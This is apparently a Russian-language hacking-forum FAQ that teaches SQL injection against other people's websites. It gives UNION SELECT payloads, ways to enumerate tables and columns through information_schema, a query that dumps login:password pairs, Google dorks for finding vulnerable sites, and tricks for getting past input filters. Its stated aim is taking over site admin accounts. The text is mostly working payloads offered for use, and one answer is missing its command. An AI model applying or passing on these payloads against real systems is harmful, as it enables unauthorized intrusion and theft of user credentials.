1. Q. КАК НАЙТИ SQL INJECTION
A. В конце параметра ID или PID поставить одинарную кавычку... Увидите ошибку типо
PHP код:
Microsoft OLE DB Provider for SQL Server error '80040e14'
Unclosed quotation mark before the character string ''.
/Program_Areas/project.asp, line 146
или
PHP код:
***91;Microsoft***93;***91;ODBC Microsoft Access Driver***93;
или
PHP код:
Warning: mysql_fetch_array(): supplied argument is not a valid MySQL result resource in /home/.lionheart/ecodelaware/ecodelaware.com/place.php on line 107
2. Q. Как определить количество таблиц???
A. Для этого после цифры которая следует после ID ввести команду
Если вылазиет ошибка таблиц меньше 10 если все нормально то больше... Увеличивать по 1 до появления ошибки... Это и будет точное кол во таблиц...
3. Q. Я нашол точное количество таблиц и ХЗ чеделать дальше...
А. Дальше выводим рабочую цифру (тоблицу), предположем таблиц 5, делаем запрос
PHP код:
+union+select+1,2,3,4,5/*
И мы увидим цифру с которой будем работать
4. Q. Как определить версию СУБД?
А. Команда
PHP код:
version(),database(),user()
5. Q.У меня mysql 4 версии немогу вывести названия таблиц???
A. Ты их и невывидиш потомучто функция information_schema.tables отключенна...
Перебирай в слепую...
6. Q. А как посмотреть название всех таблиц???
А. В 5 ветки командой
PHP код:
information_schema.tables
пример
+union+select+1,table_name,3,4,5+from+information_ schema.tables/*
7. Q. А как узнать названия столбцов???
А. Так же как и таблиц заменяем на Column_name и information_schema.columns
8. Q. Я узнал таблицу USERS и столбцы login и password как мне вывести результат???
A. Командой
PHP код:
union+select+1,concat(login,0x3a,password),3,4,5--
9. Q. Я узнал пароль и имя администратора, а где админка???
A. Ебу я чтоли где админки, я сайт делал чтоли!!!
10. Q. А где можно посмотреть видеомануалы по этой теме???
А.
11. Q. Я узнал количество таблиц на когда ввожу UNION+SELECT ничего непроисходит или вылазиет ошибка..??
А. Это потому что это функция отключенна - это blind SQL - injection
12. Q. А как мне отыскать SQL СУБД при помощи google??
А ТАКИЕ ЗАПРОСЫ
PHP код:
inurl:".php?id="
PHP код:
inurl:".asp?id="
13. Q. А как мне обойти фильтрацию переменных???
А. В конце вместо ' можно ставить ",`,%27,%2527
Вместо /* можно --,{,%23
Вместо + можно /**/,%09,%0a,%0d,%2b
14. Q. Почему при команде group_concat не все таблицы или столбцы выводятся на экран??
А. Потомучто скорее всего стоит ограничение на вывод символов, перебираем через +Limit+1,1
15. Q. Чем отличается mssql от mysql?
А. MSSQL вертится на винде, а mySQL на чем угодно...
__________________